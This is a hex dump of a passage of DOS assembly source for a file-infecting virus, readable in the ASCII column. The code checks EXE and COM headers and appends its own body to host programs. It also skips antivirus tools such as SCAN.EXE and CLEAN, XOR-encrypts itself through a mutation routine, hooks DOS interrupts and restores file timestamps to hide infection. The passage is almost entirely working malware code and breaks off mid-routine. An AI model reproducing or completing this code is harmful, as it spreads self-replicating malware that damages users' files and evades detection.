|00002f30| 6a 65 09 43 68 65 63 6b | 5f 46 6f 72 5f 56 61 6c |je.Check|_For_Val|
|00002f40| 69 64 5f 45 58 45 0d 0a | 0d 0a 4e 6f 74 5f 67 6f |id_EXE..|..Not_go|
|00002f50| 6f 64 3a 0d 0a 0d 0a 09 | 6a 6d 70 09 63 6c 6f 73 |od:.....|jmp.clos|
|00002f60| 65 0d 0a 0d 0a 43 68 65 | 63 6b 5f 46 6f 72 5f 56 |e....Che|ck_For_V|
|00002f70| 61 6c 69 64 5f 45 58 45 | 3a 0d 0a 0d 0a 09 63 61 |alid_EXE|:.....ca|
|00002f80| 6c 6c 09 52 65 61 64 5f | 46 69 72 73 74 5f 31 38 |ll.Read_|First_18|
|00002f90| 0d 0a 09 63 6d 70 09 77 | 6f 72 64 20 70 74 72 20 |...cmp.w|ord ptr |
|00002fa0| 5b 73 69 5d 2c 27 5a 4d | 27 0d 0a 09 6a 65 09 56 |[si],'ZM|'...je.V|
|00002fb0| 61 6c 69 64 5f 45 58 45 | 09 09 09 3b 63 68 65 63 |alid_EXE|...;chec|
|00002fc0| 6b 20 66 6f 72 20 76 61 | 6c 69 64 20 2e 45 58 45 |k for va|lid .EXE|
|00002fd0| 20 66 69 6c 65 0d 0a 09 | 63 6d 70 09 77 6f 72 64 | file...|cmp.word|
|00002fe0| 20 70 74 72 20 5b 73 69 | 5d 2c 27 4d 5a 27 0d 0a | ptr [si|],'MZ'..|
|00002ff0| 09 6a 6e 65 09 4e 6f 74 | 5f 67 6f 6f 64 0d 0a 0d |.jne.Not|_good...|
|00003000| 0a 20 56 61 6c 69 64 5f | 45 58 45 3a 0d 0a 0d 0a |. Valid_|EXE:....|
|00003010| 09 63 6d 70 09 62 79 74 | 65 20 70 74 72 20 65 73 |.cmp.byt|e ptr es|
|00003020| 3a 5b 64 69 2b 30 66 5d | 2c 27 4d 27 20 3b 4d 41 |:[di+0f]|,'M' ;MA|
|00003030| 50 4d 45 4d 0d 0a 09 6a | 65 09 4e 6f 74 5f 67 6f |PMEM...j|e.Not_go|
|00003040| 6f 64 0d 0a 09 63 6d 70 | 09 65 73 3a 5b 64 69 2b |od...cmp|.es:[di+|
|00003050| 30 66 5d 2c 27 52 54 27 | 09 20 3b 54 52 41 50 46 |0f],'RT'|. ;TRAPF|
|00003060| 49 4c 45 0d 0a 09 6a 65 | 09 4e 6f 74 5f 67 6f 6f |ILE...je|.Not_goo|
|00003070| 64 0d 0a 09 63 6d 70 09 | 65 73 3a 5b 64 69 2b 30 |d...cmp.|es:[di+0|
|00003080| 66 5d 2c 27 43 53 27 20 | 3b 53 43 41 4e 2e 45 58 |f],'CS' |;SCAN.EX|
|00003090| 45 0d 0a 09 6a 6e 65 09 | 67 6f 5f 6f 6e 5f 61 0d |E...jne.|go_on_a.|
|000030a0| 0a 09 63 6d 70 09 65 73 | 3a 5b 64 69 2b 31 31 5d |..cmp.es|:[di+11]|
|000030b0| 2c 27 4e 41 27 0d 0a 09 | 6a 65 09 4e 6f 74 5f 67 |,'NA'...|je.Not_g|
|000030c0| 6f 6f 64 0d 0a 67 6f 5f | 6f 6e 5f 61 3a 0d 0a 09 |ood..go_|on_a:...|
|000030d0| 63 6d 70 09 65 73 3a 5b | 64 69 2b 30 66 5d 2c 27 |cmp.es:[|di+0f],'|
|000030e0| 4e 41 27 20 3b 41 4e 54 | 49 2a 2a 2a 2a 2e 2a 45 |NA' ;ANT|I****.*E|
|000030f0| 58 45 0d 0a 09 6a 6e 65 | 09 67 6f 5f 6f 6e 5f 62 |XE...jne|.go_on_b|
|00003100| 0d 0a 09 63 6d 70 09 65 | 73 3a 5b 64 69 2b 31 31 |...cmp.e|s:[di+11|
|00003110| 5d 2c 27 49 54 27 0d 0a | 09 6a 65 09 4e 6f 74 5f |],'IT'..|.je.Not_|
|00003120| 67 6f 6f 64 0d 0a 67 6f | 5f 6f 6e 5f 62 3a 0d 0a |good..go|_on_b:..|
|00003130| 09 63 6d 70 09 65 73 3a | 5b 64 69 2b 30 66 5d 2c |.cmp.es:|[di+0f],|
|00003140| 27 4c 43 27 20 3b 43 4c | 45 41 4e 4e 45 57 2e 45 |'LC' ;CL|EANNEW.E|
|00003150| 58 45 0d 0a 09 6a 6e 65 | 09 6c 6f 77 5f 6d 65 6d |XE...jne|.low_mem|
|00003160| 3f 0d 0a 09 63 6d 70 09 | 65 73 3a 5b 64 69 2b 31 |?...cmp.|es:[di+1|
|00003170| 31 5d 2c 27 41 45 27 0d | 0a 09 6a 65 09 4e 6f 74 |1],'AE'.|..je.Not|
|00003180| 5f 67 6f 6f 64 0d 0a 0d | 0a 4c 6f 77 5f 6d 65 6d |_good...|.Low_mem|
|00003190| 3f 3a 0d 0a 09 63 6d 70 | 09 77 6f 72 64 20 70 74 |?:...cmp|.word pt|
|000031a0| 72 20 5b 73 69 2b 30 63 | 5d 2c 30 66 66 66 66 09 |r [si+0c|],0ffff.|
|000031b0| 3b 6f 6e 6c 79 20 6c 6f | 77 2d 6d 65 6d 20 2e 45 |;only lo|w-mem .E|
|000031c0| 58 45 0d 0a 09 6a 6e 65 | 09 4e 6f 74 5f 67 6f 6f |XE...jne|.Not_goo|
|000031d0| 64 0d 0a 0d 0a 4c 6f 77 | 5f 4d 65 6d 3a 0d 0a 0d |d....Low|_Mem:...|
|000031e0| 0a 09 6d 6f 76 09 63 78 | 2c 5b 73 69 2b 31 36 5d |..mov.cx|,[si+16]|
|000031f0| 0d 0a 09 61 64 64 09 63 | 78 2c 5b 73 69 2b 38 5d |...add.c|x,[si+8]|
|00003200| 09 09 09 3b 53 6f 6d 65 | 74 68 69 6e 67 20 63 6f |...;Some|thing co|
|00003210| 6d 6d 6f 6e 20 77 69 74 | 68 20 45 44 44 49 45 2e |mmon wit|h EDDIE.|
|00003220| 2e 0d 0a 09 6d 6f 76 09 | 61 78 2c 31 30 0d 0a 09 |....mov.|ax,10...|
|00003230| 6d 75 6c 09 63 78 0d 0a | 09 61 64 64 09 61 78 2c |mul.cx..|.add.ax,|
|00003240| 5b 73 69 2b 31 34 5d 0d | 0a 09 61 64 63 09 64 78 |[si+14].|..adc.dx|
|00003250| 2c 30 0d 0a 09 6d 6f 76 | 09 63 78 2c 65 73 3a 5b |,0...mov|.cx,es:[|
|00003260| 64 69 5d 0d 0a 09 73 75 | 62 09 63 78 2c 61 78 0d |di]...su|b.cx,ax.|
|00003270| 0a 09 78 63 68 67 09 61 | 78 2c 63 78 0d 0a 09 6d |..xchg.a|x,cx...m|
|00003280| 6f 76 09 63 78 2c 65 73 | 3a 5b 64 69 2b 32 5d 0d |ov.cx,es|:[di+2].|
|00003290| 0a 09 73 62 62 09 63 78 | 2c 64 78 0d 0a 09 6f 72 |..sbb.cx|,dx...or|
|000032a0| 09 63 78 2c 63 78 0d 0a | 09 6a 6e 7a 09 4e 6f 74 |.cx,cx..|.jnz.Not|
|000032b0| 5f 49 6e 66 65 63 74 65 | 64 5f 45 58 45 09 09 09 |_Infecte|d_EXE...|
|000032c0| 3b 69 6e 66 65 63 74 65 | 64 3f 0d 0a 09 63 6d 70 |;infecte|d?...cmp|
|000032d0| 09 61 78 2c 28 65 6e 64 | 63 6f 64 65 2d 53 74 61 |.ax,(end|code-Sta|
|000032e0| 72 74 5f 56 69 72 75 73 | 29 0d 0a 09 6a 62 65 09 |rt_Virus|)...jbe.|
|000032f0| 4e 6f 74 5f 67 6f 6f 64 | 0d 0a 0d 0a 4e 6f 74 5f |Not_good|....Not_|
|00003300| 49 6e 66 65 63 74 65 64 | 5f 45 58 45 3a 0d 0a 0d |Infected|_EXE:...|
|00003310| 0a 09 6d 6f 76 09 61 78 | 2c 65 73 3a 5b 64 69 5d |..mov.ax|,es:[di]|
|00003320| 0d 0a 09 6d 6f 76 09 64 | 78 2c 65 73 3a 5b 64 69 |...mov.d|x,es:[di|
|00003330| 2b 32 5d 0d 0a 0d 0a 09 | 61 64 64 09 61 78 2c 56 |+2].....|add.ax,V|
|00003340| 69 72 75 73 5f 6c 65 6e | 67 68 74 0d 0a 09 61 64 |irus_len|ght...ad|
|00003350| 63 09 64 78 2c 30 0d 0a | 09 6d 6f 76 09 63 78 2c |c.dx,0..|.mov.cx,|
|00003360| 32 30 30 09 09 09 09 09 | 3b 28 43 29 20 62 79 20 |200.....|;(C) by |
|00003370| 4c 75 62 6f 20 26 20 4a | 61 6e 2e 2e 2e 0d 0a 09 |Lubo & J|an......|
|00003380| 64 69 76 09 63 78 0d 0a | 09 6d 6f 76 09 5b 73 69 |div.cx..|.mov.[si|
|00003390| 2b 32 5d 2c 64 78 0d 0a | 09 6f 72 09 64 78 2c 64 |+2],dx..|.or.dx,d|
|000033a0| 78 0d 0a 09 6a 7a 09 4f | 4b 5f 4d 4f 44 0d 0a 09 |x...jz.O|K_MOD...|
|000033b0| 69 6e 63 09 61 78 0d 0a | 0d 0a 4f 4b 5f 4d 4f 44 |inc.ax..|..OK_MOD|
|000033c0| 3a 0d 0a 09 6d 6f 76 09 | 5b 73 69 2b 34 5d 2c 61 |:...mov.|[si+4],a|
|000033d0| 78 0d 0a 09 6d 6f 76 09 | 61 78 2c 65 73 3a 5b 64 |x...mov.|ax,es:[d|
|000033e0| 69 5d 0d 0a 09 6d 6f 76 | 09 64 78 2c 65 73 3a 5b |i]...mov|.dx,es:[|
|000033f0| 64 69 2b 32 5d 0d 0a 0d | 0a 09 6d 6f 76 09 63 78 |di+2]...|..mov.cx|
|00003400| 2c 31 30 0d 0a 09 64 69 | 76 09 63 78 0d 0a 0d 0a |,10...di|v.cx....|
|00003410| 09 73 75 62 09 61 78 2c | 5b 73 69 2b 38 5d 0d 0a |.sub.ax,|[si+8]..|
|00003420| 09 61 64 64 09 64 78 2c | 53 74 61 72 74 5f 56 69 |.add.dx,|Start_Vi|
|00003430| 72 75 73 2d 61 64 6a 75 | 73 74 0d 0a 09 61 64 63 |rus-adju|st...adc|
|00003440| 09 61 78 2c 30 0d 0a 09 | 6d 6f 76 09 5b 73 69 2b |.ax,0...|mov.[si+|
|00003450| 31 34 5d 2c 64 78 0d 0a | 09 6d 6f 76 09 5b 73 69 |14],dx..|.mov.[si|
|00003460| 2b 31 36 5d 2c 61 78 0d | 0a 09 61 64 64 09 61 78 |+16],ax.|..add.ax|
|00003470| 2c 28 56 69 72 75 73 5f | 6c 65 6e 67 68 74 29 2f |,(Virus_|lenght)/|
|00003480| 31 36 64 2b 31 0d 0a 09 | 6d 6f 76 09 5b 73 69 2b |16d+1...|mov.[si+|
|00003490| 30 65 68 5d 2c 61 78 0d | 0a 09 6d 6f 76 09 5b 73 |0eh],ax.|..mov.[s|
|000034a0| 69 2b 31 30 5d 2c 31 30 | 30 0d 0a 20 77 72 69 74 |i+10],10|0.. writ|
|000034b0| 65 3a 0d 0a 09 6d 6f 76 | 09 61 78 2c 35 37 30 30 |e:...mov|.ax,5700|
|000034c0| 0d 0a 09 63 61 6c 6c 09 | 43 61 6c 6c 5f 4f 72 69 |...call.|Call_Ori|
|000034d0| 67 69 6e 61 6c 5f 49 4e | 54 5f 32 31 68 0d 0a 09 |ginal_IN|T_21h...|
|000034e0| 70 75 73 68 09 63 78 0d | 0a 09 70 75 73 68 09 64 |push.cx.|..push.d|
|000034f0| 78 0d 0a 0d 0a 09 73 75 | 62 09 63 78 2c 63 78 0d |x.....su|b.cx,cx.|
|00003500| 0a 09 6d 6f 76 09 65 73 | 3a 5b 64 69 2b 34 5d 2c |..mov.es|:[di+4],|
|00003510| 63 78 0d 0a 09 6d 6f 76 | 09 65 73 3a 5b 64 69 2b |cx...mov|.es:[di+|
|00003520| 36 5d 2c 63 78 0d 0a 09 | 6d 6f 76 09 63 6c 2c 32 |6],cx...|mov.cl,2|
|00003530| 30 0d 0a 09 78 63 68 67 | 09 63 6c 2c 62 79 74 65 |0...xchg|.cl,byte|
|00003540| 20 70 74 72 20 65 73 3a | 5b 64 69 2d 30 64 68 5d | ptr es:|[di-0dh]|
|00003550| 0d 0a 09 70 75 73 68 09 | 63 78 0d 0a 09 6d 6f 76 |...push.|cx...mov|
|00003560| 09 61 68 2c 34 30 09 3b | 74 68 69 73 20 77 72 69 |.ah,40.;|this wri|
|00003570| 74 65 73 20 74 68 65 20 | 66 69 72 73 74 20 66 65 |tes the |first fe|
|00003580| 77 20 62 79 74 65 73 20 | 61 6e 64 20 67 6c 75 65 |w bytes |and glue|
|00003590| 73 20 74 68 65 20 76 69 | 72 75 73 0d 0a 09 6d 6f |s the vi|rus...mo|
|000035a0| 76 09 64 78 2c 62 75 66 | 66 65 72 2d 61 64 6a 75 |v.dx,buf|fer-adju|
|000035b0| 73 74 0d 0a 09 6d 6f 76 | 09 63 78 2c 31 38 0d 0a |st...mov|.cx,18..|
|000035c0| 0d 0a 09 63 61 6c 6c 09 | 43 61 6c 6c 5f 4f 72 69 |...call.|Call_Ori|
|000035d0| 67 69 6e 61 6c 5f 49 4e | 54 5f 32 31 68 0d 0a 0d |ginal_IN|T_21h...|
|000035e0| 0a 09 63 61 6c 6c 09 6d | 61 6b 65 5f 6d 75 74 61 |..call.m|ake_muta|
|000035f0| 74 69 6f 6e 0d 0a 0d 0a | 09 70 75 73 68 09 65 73 |tion....|.push.es|
|00003600| 0d 0a 09 70 75 73 68 09 | 64 69 0d 0a 09 70 75 73 |...push.|di...pus|
|00003610| 68 09 63 73 0d 0a 09 70 | 6f 70 09 65 73 0d 0a 09 |h.cs...p|op.es...|
|00003620| 6d 6f 76 09 64 69 2c 73 | 69 0d 0a 09 73 75 62 09 |mov.di,s|i...sub.|
|00003630| 73 69 2c 73 69 0d 0a 09 | 6d 6f 76 09 63 78 2c 56 |si,si...|mov.cx,V|
|00003640| 69 72 75 73 5f 6c 65 6e | 67 68 74 0d 0a 09 70 75 |irus_len|ght...pu|
|00003650| 73 68 09 64 69 0d 0a 09 | 72 65 70 09 6d 6f 76 73 |sh.di...|rep.movs|
|00003660| 62 0d 0a 09 70 6f 70 09 | 64 69 0d 0a 09 61 64 64 |b...pop.|di...add|
|00003670| 09 64 69 2c 6f 66 66 73 | 65 74 20 63 6f 64 65 64 |.di,offs|et coded|
|00003680| 73 74 61 72 74 2d 61 64 | 6a 75 73 74 0d 0a 09 6d |start-ad|just...m|
|00003690| 6f 76 09 61 6c 2c 62 79 | 74 65 20 70 74 72 20 5b |ov.al,by|te ptr [|
|000036a0| 78 6f 72 76 61 6c 75 65 | 2d 61 64 6a 75 73 74 5d |xorvalue|-adjust]|
|000036b0| 0d 0a 09 6d 6f 76 09 63 | 78 2c 6f 66 66 73 65 74 |...mov.c|x,offset|
|000036c0| 20 65 6e 64 63 6f 64 65 | 2d 63 6f 64 65 64 73 74 | endcode|-codedst|
|000036d0| 61 72 74 0d 0a 0d 0a 63 | 6f 64 65 69 74 3a 0d 0a |art....c|odeit:..|
|000036e0| 09 78 6f 72 09 62 79 74 | 65 20 70 74 72 20 5b 64 |.xor.byt|e ptr [d|
|000036f0| 69 5d 2c 61 6c 0d 0a 09 | 69 6e 63 09 64 69 0d 0a |i],al...|inc.di..|
|00003700| 09 6c 6f 6f 70 09 63 6f | 64 65 69 74 0d 0a 0d 0a |.loop.co|deit....|
|00003710| 09 70 6f 70 09 64 69 0d | 0a 09 70 6f 70 09 65 73 |.pop.di.|..pop.es|
|00003720| 0d 0a 0d 0a 09 69 6e 63 | 09 77 6f 72 64 20 70 74 |.....inc|.word pt|
|00003730| 72 20 5b 6d 79 5f 63 6f | 75 6e 74 2d 61 64 6a 75 |r [my_co|unt-adju|
|00003740| 73 74 5d 0d 0a 0d 0a 09 | 6d 6f 76 09 61 78 2c 65 |st].....|mov.ax,e|
|00003750| 73 3a 5b 64 69 5d 0d 0a | 09 6d 6f 76 09 65 73 3a |s:[di]..|.mov.es:|
|00003760| 5b 64 69 2b 34 5d 2c 61 | 78 0d 0a 09 6d 6f 76 09 |[di+4],a|x...mov.|
|00003770| 61 78 2c 65 73 3a 5b 64 | 69 2b 32 5d 0d 0a 09 6d |ax,es:[d|i+2]...m|
|00003780| 6f 76 09 65 73 3a 5b 64 | 69 2b 36 5d 2c 61 78 0d |ov.es:[d|i+6],ax.|
|00003790| 0a 09 63 61 6c 6c 09 43 | 68 65 63 6b 5f 46 6f 72 |..call.C|heck_For|
|000037a0| 5f 43 4f 4d 4d 41 4e 44 | 09 3b 28 43 29 0d 0a 09 |_COMMAND|.;(C)...|
|000037b0| 6a 6e 65 09 44 6f 6e 74 | 5f 41 64 6a 75 73 74 5f |jne.Dont|_Adjust_|
|000037c0| 53 69 7a 65 0d 0a 09 73 | 75 62 09 65 73 3a 5b 64 |Size...s|ub.es:[d|
|000037d0| 69 2b 34 5d 2c 56 69 72 | 75 73 5f 6c 65 6e 67 68 |i+4],Vir|us_lengh|
|000037e0| 74 0d 0a 0d 0a 44 6f 6e | 74 5f 41 64 6a 75 73 74 |t....Don|t_Adjust|
|000037f0| 5f 53 69 7a 65 3a 0d 0a | 0d 0a 09 6d 6f 76 09 61 |_Size:..|...mov.a|
|00003800| 68 2c 34 30 0d 0a 09 6d | 6f 76 09 64 78 2c 6f 66 |h,40...m|ov.dx,of|
|00003810| 66 73 65 74 20 62 75 66 | 66 65 72 2d 61 64 6a 75 |fset buf|fer-adju|
|00003820| 73 74 0d 0a 09 6d 6f 76 | 09 63 78 2c 56 69 72 75 |st...mov|.cx,Viru|
|00003830| 73 5f 6c 65 6e 67 68 74 | 0d 0a 09 63 61 6c 6c 09 |s_lenght|...call.|
|00003840| 43 61 6c 6c 5f 4f 72 69 | 67 69 6e 61 6c 5f 49 4e |Call_Ori|ginal_IN|
|00003850| 54 5f 32 31 68 0d 0a 0d | 0a 09 70 6f 70 09 63 78 |T_21h...|..pop.cx|
|00003860| 0d 0a 09 6d 6f 76 09 62 | 79 74 65 20 70 74 72 20 |...mov.b|yte ptr |
|00003870| 65 73 3a 5b 64 69 2d 30 | 64 68 5d 2c 63 6c 0d 0a |es:[di-0|dh],cl..|
|00003880| 09 70 6f 70 09 64 78 0d | 0a 09 70 6f 70 09 63 78 |.pop.dx.|..pop.cx|
|00003890| 0d 0a 0d 0a 09 63 6d 70 | 09 62 79 74 65 20 70 74 |.....cmp|.byte pt|
|000038a0| 72 20 63 73 3a 5b 66 6c | 61 67 2d 61 64 6a 75 73 |r cs:[fl|ag-adjus|
|000038b0| 74 5d 2c 30 66 66 0d 0a | 09 6a 65 09 53 65 74 5f |t],0ff..|.je.Set_|
|000038c0| 54 69 6d 65 5f 61 6e 64 | 5f 44 61 74 65 0d 0a 65 |Time_and|_Date..e|
|000038d0| 78 69 74 3a 0d 0a 09 63 | 61 6c 6c 09 43 68 65 63 |xit:...c|all.Chec|
|000038e0| 6b 5f 46 6f 72 5f 43 4f | 4d 4d 41 4e 44 0d 0a 09 |k_For_CO|MMAND...|
|000038f0| 6a 65 09 53 65 74 5f 54 | 69 6d 65 5f 61 6e 64 5f |je.Set_T|ime_and_|
|00003900| 44 61 74 65 0d 0a 09 61 | 6e 64 09 63 6c 2c 31 31 |Date...a|nd.cl,11|
|00003910| 31 30 30 30 30 30 62 0d | 0a 09 6f 72 09 63 6c 2c |100000b.|..or.cl,|
|00003920| 36 30 64 2f 32 0d 0a 0d | 0a 53 65 74 5f 54 69 6d |60d/2...|.Set_Tim|
|00003930| 65 5f 61 6e 64 5f 44 61 | 74 65 3a 0d 0a 0d 0a 09 |e_and_Da|te:.....|
|00003940| 6d 6f 76 09 61 78 2c 35 | 37 30 31 0d 0a 09 63 61 |mov.ax,5|701...ca|
|00003950| 6c 6c 09 43 61 6c 6c 5f | 4f 72 69 67 69 6e 61 6c |ll.Call_|Original|
|00003960| 5f 49 4e 54 5f 32 31 68 | 0d 0a 63 6c 6f 73 65 3a |_INT_21h|..close:|
|00003970| 0d 0a 0d 0a 09 6d 6f 76 | 09 61 68 2c 33 65 0d 0a |.....mov|.ah,3e..|
|00003980| 09 63 61 6c 6c 09 43 61 | 6c 6c 5f 4f 72 69 67 69 |.call.Ca|ll_Origi|
|00003990| 6e 61 6c 5f 49 4e 54 5f | 32 31 68 0d 0a 09 6d 6f |nal_INT_|21h...mo|
|000039a0| 76 09 73 69 2c 64 69 0d | 0a 09 61 64 64 09 73 69 |v.si,di.|..add.si|
|000039b0| 2c 30 66 0d 0a 09 6d 6f | 76 09 64 69 2c 66 6e 61 |,0f...mo|v.di,fna|
|000039c0| 6d 65 2d 61 64 6a 75 73 | 74 0d 0a 09 70 75 73 68 |me-adjus|t...push|
|000039d0| 09 65 73 0d 0a 09 70 6f | 70 09 64 73 0d 0a 09 70 |.es...po|p.ds...p|
|000039e0| 75 73 68 09 63 73 0d 0a | 09 70 6f 70 09 65 73 0d |ush.cs..|.pop.es.|
|000039f0| 0a 09 6d 6f 76 09 63 78 | 2c 38 2b 33 09 09 3b 73 |..mov.cx|,8+3..;s|
|00003a00| 61 76 65 20 74 68 65 20 | 66 6e 61 6d 65 20 74 6f |ave the |fname to|
|00003a10| 20 61 20 71 75 69 74 20 | 70 6c 61 63 65 0d 0a 09 | a quit |place...|
|00003a20| 72 65 70 09 6d 6f 76 73 | 62 0d 0a 09 70 75 73 68 |rep.movs|b...push|
|00003a30| 09 63 73 0d 0a 09 70 6f | 70 09 64 73 0d 0a 0d 0a |.cs...po|p.ds....|
|00003a40| 09 63 6d 70 09 62 79 74 | 65 20 70 74 72 20 63 73 |.cmp.byt|e ptr cs|
|00003a50| 3a 5b 66 6c 61 67 2d 61 | 64 6a 75 73 74 5d 2c 30 |:[flag-a|djust],0|
|00003a60| 66 66 0d 0a 09 6a 6e 65 | 09 44 6f 6e 74 5f 43 6c |ff...jne|.Dont_Cl|
|00003a70| 65 61 72 5f 42 75 66 66 | 65 72 73 0d 0a 09 6d 6f |ear_Buff|ers...mo|
|00003a80| 76 09 61 68 2c 30 64 68 | 09 09 09 3b 69 66 20 65 |v.ah,0dh|...;if e|
|00003a90| 72 72 6f 72 20 6f 63 63 | 75 72 65 64 2d 63 6c 65 |rror occ|ured-cle|
|00003aa0| 61 72 20 64 69 73 6b 20 | 62 75 66 66 65 72 73 0d |ar disk |buffers.|
|00003ab0| 0a 0d 0a 09 63 61 6c 6c | 09 43 61 6c 6c 5f 4f 72 |....call|.Call_Or|
|00003ac0| 69 67 69 6e 61 6c 5f 49 | 4e 54 5f 32 31 68 0d 0a |iginal_I|NT_21h..|
|00003ad0| 0d 0a 44 6f 6e 74 5f 43 | 6c 65 61 72 5f 42 75 66 |..Dont_C|lear_Buf|
|00003ae0| 66 65 72 73 3a 0d 0a 0d | 0a 09 63 6d 70 09 62 79 |fers:...|..cmp.by|
|00003af0| 74 65 20 70 74 72 20 63 | 73 3a 5b 76 65 72 69 2d |te ptr c|s:[veri-|
|00003b00| 61 64 6a 75 73 74 5d 2c | 31 0d 0a 09 6a 6e 65 09 |adjust],|1...jne.|
|00003b10| 52 65 73 74 6f 72 65 5f | 56 65 63 74 6f 72 73 0d |Restore_|Vectors.|
|00003b20| 0a 09 6d 6f 76 09 61 78 | 2c 32 65 30 31 0d 0a 0d |..mov.ax|,2e01...|
|00003b30| 0a 09 63 61 6c 6c 09 43 | 61 6c 6c 5f 4f 72 69 67 |..call.C|all_Orig|
|00003b40| 69 6e 61 6c 5f 49 4e 54 | 5f 32 31 68 0d 0a 0d 0a |inal_INT|_21h....|
|00003b50| 52 65 73 74 6f 72 65 5f | 56 65 63 74 6f 72 73 3a |Restore_|Vectors:|
|00003b60| 0d 0a 0d 0a 0d 0a 09 70 | 6f 70 09 64 73 0d 0a 09 |.......p|op.ds...|
|00003b70| 70 6f 70 09 64 78 0d 0a | 09 70 6f 70 09 65 73 0d |pop.dx..|.pop.es.|
|00003b80| 0a 09 70 6f 70 09 62 78 | 0d 0a 0d 0a 09 6d 6f 76 |..pop.bx|.....mov|
|00003b90| 09 61 68 2c 31 33 0d 0a | 09 63 61 6c 6c 09 43 61 |.ah,13..|.call.Ca|
|00003ba0| 6c 6c 5f 4f 72 69 67 69 | 6e 61 6c 5f 49 4e 54 5f |ll_Origi|nal_INT_|
|00003bb0| 32 46 68 0d 0a 0d 0a 09 | 73 75 62 09 61 78 2c 61 |2Fh.....|sub.ax,a|
|00003bc0| 78 0d 0a 09 6d 6f 76 09 | 64 73 2c 61 78 0d 0a 09 |x...mov.|ds,ax...|
|00003bd0| 70 6f 70 09 5b 32 34 2a | 34 2b 32 5d 0d 0a 09 70 |pop.[24*|4+2]...p|
|00003be0| 6f 70 09 5b 32 34 2a 34 | 5d 0d 0a 09 70 6f 70 09 |op.[24*4|]...pop.|
|00003bf0| 5b 31 33 2a 34 2b 32 5d | 0d 0a 09 70 6f 70 09 5b |[13*4+2]|...pop.[|
|00003c00| 31 33 2a 34 5d 09 09 3b | 72 65 73 74 6f 72 65 20 |13*4]..;|restore |
|00003c10| 76 65 63 74 6f 72 73 20 | 61 6e 64 20 72 65 74 75 |vectors |and retu|
|00003c20| 72 6e 0d 0a 09 72 65 74 | 0d 0a 0d 0a 20 63 6f 6d |rn...ret|.... com|
|00003c30| 3a 0d 0a 09 74 65 73 74 | 09 62 79 74 65 20 70 74 |:...test|.byte pt|
|00003c40| 72 20 65 73 3a 5b 64 69 | 2d 30 64 68 5d 2c 34 09 |r es:[di|-0dh],4.|
|00003c50| 3b 69 66 20 69 74 20 69 | 73 20 61 20 73 79 73 74 |;if it i|s a syst|
|00003c60| 65 6d 20 66 69 6c 65 0d | 0a 09 6a 6e 7a 09 4e 6f |em file.|..jnz.No|
|00003c70| 74 5f 4f 4b 5f 43 4f 4d | 5f 46 69 6c 65 20 3b 49 |t_OK_COM|_File ;I|
|00003c80| 20 68 61 64 20 73 6f 6d | 65 20 70 72 6f 62 6c 65 | had som|e proble|
|00003c90| 6d 73 20 68 65 72 65 20 | 77 69 74 68 0d 0a 20 20 |ms here |with.. |
|00003ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003cc0| 20 20 20 20 20 20 3b 56 | 31 31 36 30 20 26 20 56 | ;V|1160 & V|
|00003cd0| 31 37 37 36 20 28 77 69 | 74 68 20 74 68 65 20 62 |1776 (wi|th the b|
|00003ce0| 61 6c 6c 29 0d 0a 09 63 | 6d 70 09 65 73 3a 5b 64 |all)...c|mp.es:[d|
|00003cf0| 69 5d 2c 36 35 35 33 35 | 64 2d 56 69 72 75 73 5f |i],65535|d-Virus_|
|00003d00| 6c 65 6e 67 68 74 2a 32 | 2d 31 30 30 0d 0a 09 6a |lenght*2|-100...j|
|00003d10| 61 09 4e 6f 74 5f 4f 4b | 5f 43 4f 4d 5f 46 69 6c |a.Not_OK|_COM_Fil|
|00003d20| 65 0d 0a 0d 0a 09 63 6d | 70 09 65 73 3a 5b 64 69 |e.....cm|p.es:[di|
|00003d30| 2b 30 66 5d 2c 27 52 54 | 27 20 3b 54 52 41 50 46 |+0f],'RT|' ;TRAPF|
|00003d40| 49 4c 45 0d 0a 09 6a 65 | 09 4e 6f 74 5f 4f 4b 5f |ILE...je|.Not_OK_|
|00003d50| 43 4f 4d 5f 46 69 6c 65 | 0d 0a 09 63 6d 70 09 62 |COM_File|...cmp.b|
|00003d60| 79 74 65 20 70 74 72 20 | 65 73 3a 5b 64 69 2b 30 |yte ptr |es:[di+0|
|00003d70| 66 5d 2c 27 4d 27 20 3b | 4d 56 2e 43 4f 4d 0d 0a |f],'M' ;|MV.COM..|
|00003d80| 09 6a 65 09 4e 6f 74 5f | 4f 4b 5f 43 4f 4d 5f 46 |.je.Not_|OK_COM_F|
|00003d90| 69 6c 65 0d 0a 0d 0a 09 | 63 61 6c 6c 09 52 65 61 |ile.....|call.Rea|
|00003da0| 64 5f 46 69 72 73 74 5f | 31 38 0d 0a 09 6d 6f 76 |d_First_|18...mov|
|00003db0| 09 61 78 2c 5b 73 69 2b | 31 30 5d 09 3b 43 48 45 |.ax,[si+|10].;CHE|
|00003dc0| 43 4b 20 49 46 20 54 48 | 41 54 27 53 20 41 20 54 |CK IF TH|AT'S A T|
|00003dd0| 52 41 50 20 46 49 4c 45 | 0d 0a 09 63 6d 70 09 61 |RAP FILE|...cmp.a|
|00003de0| 78 2c 5b 73 69 2b 31 32 | 5d 0d 0a 09 6a 65 09 4e |x,[si+12|]...je.N|
|00003df0| 6f 74 5f 4f 4b 5f 43 4f | 4d 5f 46 69 6c 65 0d 0a |ot_OK_CO|M_File..|
|00003e00| 09 63 6d 70 09 62 79 74 | 65 20 70 74 72 20 5b 73 |.cmp.byt|e ptr [s|
|00003e10| 69 5d 2c 30 45 39 0d 0a | 09 6a 6e 65 09 4f 4b 5f |i],0E9..|.jne.OK_|
|00003e20| 43 4f 4d 5f 66 69 6c 65 | 0d 0a 09 6d 6f 76 09 61 |COM_file|...mov.a|
|00003e30| 78 2c 65 73 3a 5b 64 69 | 5d 0d 0a 20 20 20 20 20 |x,es:[di|].. |
|00003e40| 20 20 20 73 75 62 20 20 | 20 20 20 61 78 2c 5b 73 | sub | ax,[s|
|00003e50| 69 2b 31 5d 20 20 20 20 | 20 20 20 20 20 20 20 20 |i+1] | |
|00003e60| 20 20 20 3b 69 6e 66 65 | 63 74 65 64 3f 0d 0a 09 | ;infe|cted?...|
|00003e70| 63 6d 70 09 61 78 2c 28 | 65 6e 64 63 6f 64 65 2d |cmp.ax,(|endcode-|
|00003e80| 53 74 61 72 74 5f 56 69 | 72 75 73 2b 33 29 0d 0a |Start_Vi|rus+3)..|
|00003e90| 09 6a 62 65 09 4e 6f 74 | 5f 4f 4b 5f 43 4f 4d 5f |.jbe.Not|_OK_COM_|
